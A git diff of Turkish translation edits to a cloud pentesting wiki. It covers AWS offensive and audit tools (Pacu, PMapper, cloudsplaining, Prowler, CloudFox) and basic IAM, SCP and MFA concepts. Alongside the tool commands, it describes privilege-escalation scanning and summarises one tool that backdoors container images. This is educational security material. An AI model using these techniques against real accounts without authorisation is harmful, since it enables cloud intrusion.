+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu, bulut ortamlarına karşı saldırgan güvenlik testleri için tasarlanmış açık kaynaklı bir **AWS exploitation framework**'üdür. **Enumerate** edebilir, **yanlış yapılandırmaları** bulabilir ve **bunları istismar** edebilir. **`user_escalation_methods`** dict içinde **ayrıcalıklı izinlerin tanımını** bulabilirsiniz [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134).
- Pacu'nun **sadece kendi privesc yollarınızı kontrol ettiğini** unutmayın (hesap genelinde değil).
```bash
# Install
@@ -255,7 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper), bir AWS hesabı veya AWS organizasyonu için AWS Kimlik ve Erişim Yönetimi (IAM) yapılandırmasındaki riskleri belirlemek için bir script ve kütüphanedir. Farklı IAM Kullanıcıları ve Rolleri, bir hesabın yönlendirilmiş grafiği olarak modellenir; bu, **yetki yükseltme** ve bir saldırganın AWS'deki bir kaynağa veya eyleme erişim kazanmak için alabileceği alternatif yolları kontrol etmeyi sağlar. **Privesc** yollarını bulmak için kullanılan **izinleri** kontrol edebilirsiniz, dosya adları `_edges.py` ile biten [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) adresinde.
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper), bir AWS hesabı veya AWS organizasyonu için AWS Kimlik ve Erişim Yönetimi (IAM) yapılandırmasındaki riskleri belirlemek için bir script ve kütüphanedir. Farklı IAM Kullanıcıları ve Rolleri, bir hesabın yönlendirilmiş grafiği olarak modellenir; bu, **yetki yükseltme** ve bir saldırganın AWS'de bir kaynağa veya eyleme erişim kazanmak için alabileceği alternatif yollar için kontrolleri mümkün kılar. **privesc** yollarını bulmak için kullanılan **izinleri** kontrol edebilirsiniz, dosya adları `_edges.py` ile biten [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) içinde.
```bash
# Install
pip install principalmapper
@@ -277,8 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
-- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining, en az ayrıcalık ihlallerini tanımlayan ve risk öncelikli bir HTML raporu oluşturan bir AWS IAM Güvenlik Değerlendirme aracıdır.\
-Bu araç, potansiyel olarak **aşırı ayrıcalıklı** müşteri, inline ve aws **politikalarını** ve hangi **prensiplerin bunlara erişimi olduğunu** gösterecektir. (Bu sadece privesc kontrolü yapmakla kalmaz, aynı zamanda diğer ilginç izinleri de kontrol eder, kullanılması önerilir).
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining, en az ayrıcalık ihlallerini tespit eden ve risk öncelikli bir HTML raporu oluşturan bir AWS IAM Güvenlik Değerlendirme aracıdır.\
+Bu araç, potansiyel olarak **aşırı ayrıcalıklı** müşteri, inline ve aws **politikalarını** ve hangi **prensiplerin bunlara erişimi olduğunu** gösterecektir. (Bu sadece privesc için değil, aynı zamanda diğer ilginç izinler için de kontrol eder, kullanılması önerilir).
```bash
# Install
pip install cloudsplaining
@@ -290,9 +290,9 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack, ayrılmış Route53 ve CloudFront yapılandırmaları sonucunda **alt alan kaçırma açıklarını** değerlendirmek için AWS hesaplarını analiz eder.
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR depolarını listele -> ECR deposunu çek -> Arka kapı ekle -> Arka kapılı görüntüyü it.
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag, yanlışlıkla bırakılmış olabilecek **gizli bilgileri** bulmak için kamuya açık Elastic Block Storage (**EBS**) anlık görüntülerini **arama** yapan bir araçtır.
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack, ayrılmış Route53 ve CloudFront yapılandırmaları sonucunda AWS hesaplarındaki **alt alan ele geçirme açıklarını** değerlendirir.
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR repo listesini al -> ECR repo çek -> Arka kapı ekle -> Arka kapılı görüntüyü it.
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag, kamuya açık Elastic Block Storage (**EBS**) anlık görüntülerinde, kazara bırakılmış olabilecek **gizli bilgileri** arayan bir araçtır.
### Denetim
@@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler, AWS güvenlik en iyi uygulamaları değerlendirmeleri, denetimleri, olay yanıtı, sürekli izleme, sertleştirme ve adli hazırlık yapmak için bir Açık Kaynak güvenlik aracıdır.
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler, AWS güvenlik en iyi uygulamaları değerlendirmeleri, denetimler, olay müdahalesi, sürekli izleme, sertleştirme ve adli analiz hazırlığı yapmak için kullanılan bir Açık Kaynak güvenlik aracıdır.
```bash
# Install python3, jq and git
# Install
@@ -314,7 +314,7 @@ prowler -v
prowler
prowler aws --profile custom-profile [-M csv json json-asff html]
```
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox, tanıdık olmayan bulut ortamlarında durum farkındalığı kazanmanıza yardımcı olur. Penetrasyon test uzmanları ve diğer saldırgan güvenlik profesyonellerinin bulut altyapısında istismar edilebilir saldırı yollarını bulmalarına yardımcı olmak için oluşturulmuş açık kaynaklı bir komut satırı aracıdır.
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox, tanıdık olmayan bulut ortamlarında durum farkındalığı kazanmanıza yardımcı olur. Bu, penetrasyon test uzmanları ve diğer saldırgan güvenlik profesyonellerinin bulut altyapısında istismar edilebilir saldırı yollarını bulmalarına yardımcı olmak için oluşturulmuş açık kaynaklı bir komut satırı aracıdır.
```bash
cloudfox aws --profile [profile-name] all-checks
```
@@ -334,9 +334,9 @@ scout aws -p dev
### Sürekli Denetim
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian, kamu bulut hesaplarını ve kaynaklarını yönetmek için bir kurallar motorudur. Kullanıcılara **iyi yönetilen bir bulut altyapısını etkinleştirmek için politikalar tanımlama** imkanı sunar; bu, hem güvenli hem de maliyet açısından optimize edilmiştir. Birçok kuruluşun elden geçirilmiş betiklerini hafif ve esnek bir araca dönüştürerek, birleşik metrikler ve raporlama ile birleştirir.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Kod Olarak Politika Botu (PacBot)**, bulut için **sürekli uyum izleme, uyum raporlama ve güvenlik otomasyonu** platformudur. PacBot'ta, güvenlik ve uyum politikaları kod olarak uygulanır. PacBot tarafından keşfedilen tüm kaynaklar, politika uyumunu değerlendirmek için bu politikalara karşı değerlendirilir. PacBot'un **otomatik düzeltme** çerçevesi, önceden tanımlanmış eylemleri alarak politika ihlallerine otomatik olarak yanıt verme yeteneği sağlar.
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert, herhangi bir ortamdan veri **almayı, analiz etmeyi ve uyarı vermeyi** sağlayan sunucusuz, **gerçek zamanlı** bir veri analiz çerçevesidir; **veri kaynakları ve uyarı mantığını tanımlayarak** kullanabilirsiniz. Bilgisayar güvenliği ekipleri, olay tespiti ve yanıtı için her gün terabaytlarca günlük verisini taramak için StreamAlert'ı kullanır.
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian, kamu bulut hesaplarını ve kaynaklarını yönetmek için bir kurallar motorudur. Kullanıcılara **iyi yönetilen bir bulut altyapısını etkinleştirmek için politikalar tanımlama** imkanı verir; bu, hem güvenli hem de maliyet açısından optimize edilmiştir. Birçok kuruluşun el yapımı betiklerini hafif ve esnek bir araca dönüştürerek, birleşik metrikler ve raporlama ile birleştirir.
+- [**pacbot**](https://github.com/tmobile/pacbot)**: Kod Olarak Politika Botu (PacBot)**, **sürekli uyum izleme, uyum raporlama ve bulut için güvenlik otomasyonu** platformudur. PacBot'ta, güvenlik ve uyum politikaları kod olarak uygulanır. PacBot tarafından keşfedilen tüm kaynaklar, politika uyumunu değerlendirmek için bu politikalara karşı değerlendirilir. PacBot'un **otomatik düzeltme** çerçevesi, önceden tanımlanmış eylemleri alarak politika ihlallerine otomatik olarak yanıt verme yeteneği sağlar.
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert, herhangi bir ortamdan veri **almayı, analiz etmeyi ve uyarı vermeyi** sağlayan sunucusuz, **gerçek zamanlı** bir veri analiz çerçevesidir; **veri kaynakları ve uyarı mantığını tanımlayarak** kullanırsınız. Bilgisayar güvenliği ekipleri, olay tespiti ve yanıtı için her gün terabaytlarca günlük verisini taramak için StreamAlert'ı kullanır.
## DEBUG: AWS cli isteklerini yakala
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 779c87956..cb2519d40 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -20,33 +20,33 @@ Bu nedenle, bir organizasyonda **iki tür hesap vardır** (AWS hesaplarından ve
- Diğer mevcut hesapları organizasyona davet edin
- Organizasyondan hesapları kaldırın
- Davetleri yönetin
-- Organizasyondaki varlıklara (root'lar, OU'lar veya hesaplar) politikalar uygulayın
+- Organizasyon içindeki varlıklara (root'lar, OU'lar veya hesaplar) politikalar uygulayın
- Organizasyondaki tüm hesaplar arasında hizmet işlevselliği sağlamak için desteklenen AWS hizmetleriyle entegrasyonu etkinleştirin.
- Bu root hesabı/organizasyonu oluşturmak için kullanılan e-posta ve şifre ile root kullanıcı olarak giriş yapmak mümkündür.
Yönetim hesabı, **ödeyici hesabının sorumluluklarına** sahiptir ve üye hesaplar tarafından biriken tüm ücretleri ödemekten sorumludur. Bir organizasyonun yönetim hesabını değiştiremezsiniz.
-- **Üye hesaplar**, bir organizasyondaki tüm diğer hesapları oluşturur. Bir hesap, aynı anda yalnızca bir organizasyonun üyesi olabilir. Sadece o hesaba kontroller uygulamak için bir hesaba bir politika ekleyebilirsiniz.
+- **Üye hesaplar**, bir organizasyondaki tüm diğer hesapları oluşturur. Bir hesap aynı anda yalnızca bir organizasyonun üyesi olabilir. Sadece o hesaba kontroller uygulamak için bir hesaba bir politika ekleyebilirsiniz.
- Üye hesaplar **geçerli bir e-posta adresi kullanmalıdır** ve bir **isim** alabilir, genellikle faturalandırmayı yönetemezler (ancak buna erişim verilebilir).
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
### **Organizasyon Birimleri**
-Hesaplar **Organizasyon Birimleri (OU)** içinde gruplandırılabilir. Bu şekilde, Organizasyon Birimi için **tüm alt hesaplara uygulanacak** **politikalar** oluşturabilirsiniz. Bir OU'nun altı olarak başka OU'lar da olabileceğini unutmayın.
+Hesaplar **Organizasyon Birimleri (OU)** içinde gruplandırılabilir. Bu şekilde, Organizasyon Birimi için **tüm alt hesaplara uygulanacak** **politikalar** oluşturabilirsiniz. Bir OU'nun altı olarak başka OUs'lar da olabileceğini unutmayın.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
-Bir **service control policy (SCP)**, SCP'nin etki ettiği hesaplarda kullanıcıların ve rollerin kullanabileceği hizmetleri ve eylemleri belirten bir politikadır. SCP'ler, **IAM** izin politikalarına **benzer**, ancak **hiçbir izin vermezler**. Bunun yerine, SCP'ler bir organizasyon, organizasyonel birim (OU) veya hesap için **maksimum izinleri** belirtir. Bir SCP'yi organizasyon kökünüze veya bir OU'ya eklediğinizde, **SCP, üye hesaplardaki varlıkların izinlerini sınırlar**.
+Bir **service control policy (SCP)**, SCP'nin etki ettiği hesaplarda kullanıcıların ve rollerin kullanabileceği hizmetleri ve eylemleri belirten bir politikadır. SCP'ler, **IAM** izin politikalarına **benzer**, ancak **hiçbir izin vermezler**. Bunun yerine, SCP'ler bir organizasyon, organizasyonel birim (OU) veya hesap için **maksimum izinleri** belirtir. Bir SCP'yi organizasyon kökünüze veya bir OU'ya eklediğinizde, **SCP, üye hesaplardaki varlıklar için izinleri sınırlar**.
-Bu, **root kullanıcının bile bir şey yapmasını durdurmanın TEK yoludur**. Örneğin, kullanıcıların CloudTrail'i devre dışı bırakmasını veya yedekleri silmesini durdurmak için kullanılabilir.\
+Bu, **root kullanıcının bile bir şey yapmasını durdurmanın TEK yoludur**. Örneğin, kullanıcıların CloudTrail'i devre dışı bırakmasını veya yedekleri silmesini engellemek için kullanılabilir.\
Bunu aşmanın tek yolu, SCP'leri yapılandıran **master account**'u da tehlikeye atmaktır (master account engellenemez).
> [!WARNING]
-> **SCP'ler yalnızca hesap içindeki ilkeleri kısıtlar**, bu nedenle diğer hesaplar etkilenmez. Bu, bir SCP'nin `s3:GetObject` iznini reddetmesinin, insanların **hesabınızdaki bir kamu S3 bucket'ına erişmesini durdurmayacağı** anlamına gelir.
+> **SCP'ler yalnızca hesap içindeki yetkilileri kısıtlar**, bu nedenle diğer hesaplar etkilenmez. Bu, bir SCP'nin `s3:GetObject` iznini reddetmesinin, insanların **hesabınızdaki bir kamu S3 bucket'ına erişmesini durdurmayacağı anlamına gelir**.
SCP örnekleri:
@@ -60,7 +60,7 @@ SCP örnekleri:
değiştirilmesini reddet.
- Yedeklerin silinmesini reddet.
-- IAM kullanıcıları ve erişim anahtarları oluşturmayı reddet.
+- IAM kullanıcıları ve erişim anahtarları oluşturmayı reddet
**JSON örneklerini** [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) adresinde bulabilirsiniz.
@@ -71,7 +71,7 @@ değiştirilmesini reddet.
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
-Not edin ki AWS'te 4 bölüm vardır ama bunları çağırmanın sadece 3 yolu vardır:
+AWS'de 4 bölüm olduğunu ancak bunları çağırmanın yalnızca 3 yolu olduğunu unutmayın:
- AWS Standard: `aws`
- AWS China: `aws-cn`
@@ -90,27 +90,27 @@ IAM, AWS hesabınızdaki kaynaklarınıza kimliklerin kimlik doğrulama, yetkile
### [AWS hesap kök kullanıcısı](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-Amazon Web Services (AWS) hesabı oluşturduğunuzda, hesabınızdaki tüm AWS hizmetlerine ve kaynaklarına **tam erişime sahip** tek bir oturum açma kimliği ile başlarsınız. Bu, AWS hesabının _**kök kullanıcısı**_dır ve **hesabı oluşturmak için kullandığınız e-posta adresi ve şifre ile oturum açarak** erişilir.
+Amazon Web Services (AWS) hesabı oluşturduğunuzda, hesabınızdaki tüm AWS hizmetlerine ve kaynaklarına **tam erişime sahip** tek bir oturum açma kimliği ile başlarsınız. Bu, AWS hesabının _**kök kullanıcısı**dır_ ve **hesabı oluşturmak için kullandığınız e-posta adresi ve şifre ile oturum açarak** erişilir.
-Yeni bir **admin kullanıcısının**, kök kullanıcıdan **daha az izin** alacağını unutmayın.
+Yeni bir **admin kullanıcısının kök kullanıcıdan** **daha az yetkisi** olacağını unutmayın.
Güvenlik açısından, diğer kullanıcıları oluşturmanız ve bu kullanıcıyı kullanmaktan kaçınmanız önerilir.
### [IAM kullanıcıları](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
-IAM _kullanıcısı_, AWS'de **AWS ile etkileşimde bulunan kişi veya uygulamayı temsil etmek** için oluşturduğunuz bir varlıktır. AWS'deki bir kullanıcı, bir isim ve kimlik bilgileri (şifre ve en fazla iki erişim anahtarı) içerir.
+IAM _kullanıcısı_, AWS'de **onu kullanarak AWS ile etkileşimde bulunan kişi veya uygulamayı** **temsil etmek** için oluşturduğunuz bir varlıktır. AWS'deki bir kullanıcı, bir isim ve kimlik bilgileri (şifre ve en fazla iki erişim anahtarı) içerir.
-Bir IAM kullanıcısı oluşturduğunuzda, ona uygun izin politikaları eklenmiş bir **kullanıcı grubunun üyesi** yaparak (önerilir) veya **doğrudan politikalar ekleyerek** **izinler** verirsiniz.
+Bir IAM kullanıcısı oluşturduğunuzda, ona uygun izin politikaları eklenmiş bir **kullanıcı grubunun üyesi** yaparak **izinler** verirsiniz (önerilir) veya **doğrudan politikalar** ekleyerek kullanıcıya izinler verirsiniz.
-Kullanıcılar, konsola giriş yapmak için **MFA etkinleştirilebilir**. MFA etkinleştirilmiş kullanıcıların API token'ları MFA ile korunmaz. Eğer **MFA kullanarak bir kullanıcının API anahtarlarının erişimini kısıtlamak** istiyorsanız, belirli eylemleri gerçekleştirmek için MFA'nın mevcut olması gerektiğini politikada belirtmeniz gerekir (örnek [**burada**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
+Kullanıcılar, konsoldan giriş yapmak için **MFA etkinleştirilebilir**. MFA etkin kullanıcıların API token'ları MFA ile korunmaz. Eğer **MFA kullanarak bir kullanıcının API anahtarlarının erişimini kısıtlamak** istiyorsanız, belirli eylemleri gerçekleştirmek için MFA'nın mevcut olması gerektiğini politikada belirtmeniz gerekir (örnek [**burada**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
-- **Erişim Anahtarı ID**: 20 rastgele büyük harfli alfanümerik karakter, örneğin AKHDNAPO86BSHKDIRYT
-- **Gizli erişim anahtarı ID**: 40 rastgele büyük ve küçük harf karakteri: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Kayıp gizli erişim anahtarı ID'leri geri alınamaz).
+- **Erişim Anahtarı ID'si**: 20 rastgele büyük harfli alfanümerik karakter, örneğin AKHDNAPO86BSHKDIRYT
+- **Gizli erişim anahtarı ID'si**: 40 rastgele büyük ve küçük harf karakteri: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (kayıp gizli erişim anahtarı ID'leri geri alınamaz).
-Herhangi bir zamanda **Erişim Anahtarını değiştirmek** istediğinizde izlemeniz gereken süreç:\
-NAN;_C yeni bir erişim anahtarı oluştur -> Yeni anahtarı sistem/uygulamaya uygula -> orijinalini pasif olarak işaretle -> Yeni erişim anahtarının çalıştığını test et ve doğrula -> eski erişim anahtarını sil_
+Erişim Anahtarını **değiştirmeniz gerektiğinde** izlemeniz gereken süreç:\
+NAN;_C yeni bir erişim anahtarı oluştur -> Yeni anahtarı sistem/uygulamaya uygula -> Orijinalini pasif olarak işaretle -> Yeni erişim anahtarının çalıştığını test et ve doğrula -> Eski erişim anahtarını sil_
### MFA - Çok Faktörlü Kimlik Doğrulama
@@ -121,37 +121,37 @@ MFA koşulları olan politikalar aşağıdakilere eklenebilir:
- Bir IAM kullanıcısı veya grubu
- Amazon S3 bucket, Amazon SQS kuyruğu veya Amazon SNS konusu gibi bir kaynak
-- Bir kullanıcının üstlenebileceği bir IAM rolünün güven politikası
+- Bir kullanıcı tarafından üstlenilebilen bir IAM rolünün güven politikası
-Eğer **CLI üzerinden** MFA kontrolü yapan bir kaynağa **erişmek** istiyorsanız, **`GetSessionToken`** çağrısı yapmalısınız. Bu, MFA hakkında bilgi içeren bir token verecektir.\
-Unutmayın ki **`AssumeRole` kimlik bilgileri bu bilgiyi içermez**.
+Eğer **CLI üzerinden** MFA **kontrol eden** bir kaynağa erişmek istiyorsanız, **`GetSessionToken`** çağrısı yapmanız gerekir. Bu, MFA hakkında bilgi içeren bir token verir.\
+Unutmayın ki **`AssumeRole` kimlik bilgileri bu bilgileri içermez**.
```bash
aws sts get-session-token --serial-number --token-code
```
-As [**burada belirtilmiştir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), **MFA'nın kullanılamayacağı** birçok farklı durum vardır.
+Aşağıda [**burada belirtilen**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html) birçok farklı durum vardır ki **MFA kullanılamaz**.
### [IAM kullanıcı grupları](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
-Bir IAM [kullanıcı grubu](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html), **birden fazla kullanıcıya** aynı anda **politika eklemenin** bir yoludur, bu da o kullanıcıların izinlerini yönetmeyi kolaylaştırabilir. **Roller ve gruplar bir grubun parçası olamaz**.
+Bir IAM [kullanıcı grubu](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html), **birden fazla kullanıcıya politika eklemenin** bir yoludur ve bu, o kullanıcıların izinlerini yönetmeyi kolaylaştırabilir. **Roller ve gruplar bir grubun parçası olamaz**.
-Bir **kimlik tabanlı politikayı bir kullanıcı grubuna** ekleyebilirsiniz, böylece kullanıcı grubundaki tüm **kullanıcılar** **politikanın izinlerini alır**. Bir **kullanıcı grubunu** bir **`Principal`** olarak bir **politikada** (kaynak tabanlı bir politika gibi) tanımlayamazsınız çünkü gruplar izinlerle, kimlik doğrulama ile değil, ilişkilidir ve prensipler kimlik doğrulaması yapılmış IAM varlıklarıdır.
+Bir **kimlik tabanlı politikayı bir kullanıcı grubuna** ekleyebilirsiniz, böylece kullanıcı grubundaki tüm **kullanıcılar** **politikanın izinlerini alır**. **Bir kullanıcı grubunu** bir **`Principal`** olarak tanımlayamazsınız (örneğin, kaynak tabanlı bir politika gibi) çünkü gruplar izinlerle, kimlik doğrulama ile değil ilişkilidir ve prensipler kimlik doğrulaması yapılmış IAM varlıklarıdır.
Kullanıcı gruplarının bazı önemli özellikleri şunlardır:
-- Bir kullanıcı **grubu** **birçok kullanıcı** içerebilir ve bir **kullanıcı** **birden fazla gruba** ait olabilir.
+- Bir kullanıcı **grubu** **birçok kullanıcı içerebilir** ve bir **kullanıcı** **birden fazla gruba ait olabilir**.
- **Kullanıcı grupları iç içe olamaz**; yalnızca kullanıcıları içerebilir, diğer kullanıcı gruplarını değil.
- AWS hesabındaki tüm kullanıcıları otomatik olarak içeren **varsayılan bir kullanıcı grubu yoktur**. Böyle bir kullanıcı grubuna sahip olmak istiyorsanız, onu oluşturmalı ve her yeni kullanıcıyı ona atamalısınız.
-- AWS hesabındaki IAM kaynaklarının sayısı ve boyutu, grupların sayısı ve bir kullanıcının üyesi olabileceği grup sayısı gibi sınırlıdır. Daha fazla bilgi için [IAM ve AWS STS kotalarına](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) bakın.
+- AWS hesabındaki IAM kaynaklarının sayısı ve boyutu, grupların sayısı ve bir kullanıcının üyesi olabileceği grup sayısı ile sınırlıdır. Daha fazla bilgi için [IAM ve AWS STS kotaları](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) sayfasına bakın.
### [IAM rolleri](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-Bir IAM **rolü**, bir **kullanıcıya** çok **benzer** olup, AWS'de ne yapabileceğini ve ne yapamayacağını belirleyen **izin politikaları olan bir kimliktir**. Ancak, bir rolün **ilişkili olduğu herhangi bir kimlik bilgisi** (şifre veya erişim anahtarları) yoktur. Bir kişiye özgü olarak ilişkilendirilmek yerine, bir rol **ihtiyacı olan herkes tarafından üstlenilebilir (ve yeterli izinlere sahip olmalıdır)**. Bir **IAM kullanıcısı, belirli bir görev için geçici olarak** farklı izinler almak üzere bir rolü üstlenebilir. Bir rol, IAM yerine harici bir kimlik sağlayıcısı kullanarak oturum açan bir [**federasyon kullanıcısına**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) **atanabilir**.
+Bir IAM **rolü**, bir **kullanıcı** ile çok **benzer** olup, AWS'de ne yapabileceğini ve ne yapamayacağını belirleyen **izin politikalarına sahip bir kimliktir**. Ancak, bir rolün **ilişkili olduğu herhangi bir kimlik bilgisi** (şifre veya erişim anahtarları) yoktur. Bir kişiye özgü olarak değil, bir rolün **ihtiyacı olan herkes tarafından üstlenilmesi** amaçlanmıştır (ve yeterli izinlere sahip olunmalıdır). Bir **IAM kullanıcısı, belirli bir görev için geçici olarak** farklı izinler almak üzere bir rolü üstlenebilir. Bir rol, IAM yerine harici bir kimlik sağlayıcısı kullanarak oturum açan bir [**federasyon kullanıcısına**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) atanabilir.
Bir IAM rolü, **iki tür politikadan** oluşur: **boş olamaz** olan bir **güven politikası**, rolü **kimin üstlenebileceğini** tanımlar ve **boş olamaz** olan bir **izin politikası**, **neye erişebileceğini** tanımlar.
#### AWS Güvenlik Token Servisi (STS)
-AWS Güvenlik Token Servisi (STS), **geçici, sınırlı ayrıcalıklı kimlik bilgileri** vermeyi kolaylaştıran bir web hizmetidir. Özellikle aşağıdakiler için tasarlanmıştır:
+AWS Güvenlik Token Servisi (STS), **geçici, sınırlı ayrıcalıklara sahip kimlik bilgileri** vermeyi kolaylaştıran bir web hizmetidir. Özellikle aşağıdakiler için tasarlanmıştır:
### [IAM'de Geçici Kimlik Bilgileri](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
@@ -164,10 +164,10 @@ AWS Güvenlik Token Servisi (STS), **geçici, sınırlı ayrıcalıklı kimlik b
İzinleri atamak için kullanılır. 2 tür vardır:
- AWS yönetilen politikalar (AWS tarafından önceden yapılandırılmış)
-- Müşteri Yönetilen Politikalar: Siz tarafından yapılandırılmıştır. AWS yönetilen politikalarına (onlardan birini değiştirerek ve kendi politikanızı oluşturarak), politika oluşturucu (izinleri vermenize ve reddetmenize yardımcı olan bir GUI görünümü) kullanarak veya kendi politikanızı yazarak dayalı politikalar oluşturabilirsiniz.
+- Müşteri Yönetilen Politikalar: Siz tarafından yapılandırılmıştır. AWS yönetilen politikalarına (birini değiştirerek ve kendi politikanızı oluşturarak) dayalı politikalar oluşturabilir, politika oluşturucu (izinleri vermenize ve reddetmenize yardımcı olan bir GUI görünümü) kullanabilir veya kendi politikanızı yazabilirsiniz.
**Varsayılan erişim** **reddedilir**, açık bir rol belirtilirse erişim verilecektir.\
-Eğer **tek bir "Reddet" varsa, "İzin Ver"i geçersiz kılacaktır**, AWS hesabının kök güvenlik kimlik bilgilerini kullanan talepler hariç (varsayılan olarak izin verilir).
+Eğer **tek bir "Deny" varsa, "Allow"u geçersiz kılacaktır**, AWS hesabının kök güvenlik kimlik bilgilerini kullanan talepler hariç (varsayılan olarak izin verilir).
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -190,15 +190,15 @@ Eğer **tek bir "Reddet" varsa, "İzin Ver"i geçersiz kılacaktır**, AWS hesab
]
}
```
-The [herhangi bir hizmette koşullar için kullanılabilecek global alanlar burada belgelenmiştir](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
+[Herhangi bir hizmette koşullar için kullanılabilecek global alanlar burada belgelenmiştir](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
[Her hizmet için koşullar için kullanılabilecek özel alanlar burada belgelenmiştir](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
#### Inline Politika
-Bu tür politikalar **doğrudan** bir kullanıcıya, gruba veya role atanır. Bu nedenle, başka birinin kullanabileceği Politika listesinde görünmezler.\
-Inline politikalar, bir politikanın uygulandığı kimlik ile **katı bir birebir ilişkiyi sürdürmek** istiyorsanız faydalıdır. Örneğin, bir politikanın izinlerinin, amaçlandığı kimlik dışında başka bir kimliğe yanlışlıkla atanmadığından emin olmak istersiniz. Inline politika kullandığınızda, politikanın izinleri yanlış bir kimliğe yanlışlıkla eklenemez. Ayrıca, AWS Yönetim Konsolu'nu kullanarak o kimliği sildiğinizde, kimlikte yer alan politikalar da silinir. Bunun nedeni, bunların ana varlığın bir parçası olmasıdır.
+Bu tür politikalar **doğrudan** bir kullanıcıya, gruba veya role atanır. Bu nedenle, başka biri tarafından kullanılamadıkları için Politika listesinde görünmezler.\
+Inline politikalar, bir politikanın uygulandığı kimlik ile **katı bir birebir ilişkiyi sürdürmek** istiyorsanız faydalıdır. Örneğin, bir politikanın izinlerinin, amaçlandığı kimlik dışında başka bir kimliğe yanlışlıkla atanmadığından emin olmak istersiniz. Inline politika kullandığınızda, politikanın izinleri yanlış bir kimliğe yanlışlıkla eklenemez. Ayrıca, AWS Yönetim Konsolu'nu kullanarak o kimliği sildiğinizde, kimliğe gömülü politikalar da silinir. Bunun nedeni, bunların ana varlığın bir parçası olmasıdır.
-#### Kaynak Kova Politikaları
+#### Kaynak Bucket Politikaları
Bunlar, **kaynaklarda** tanımlanabilen **politikalar**dır. **AWS'nin tüm kaynakları bunları desteklemez**.
@@ -208,7 +208,7 @@ Eğer bir anahtarın üzerinde açık bir red yoksa ve bir kaynak politikası on
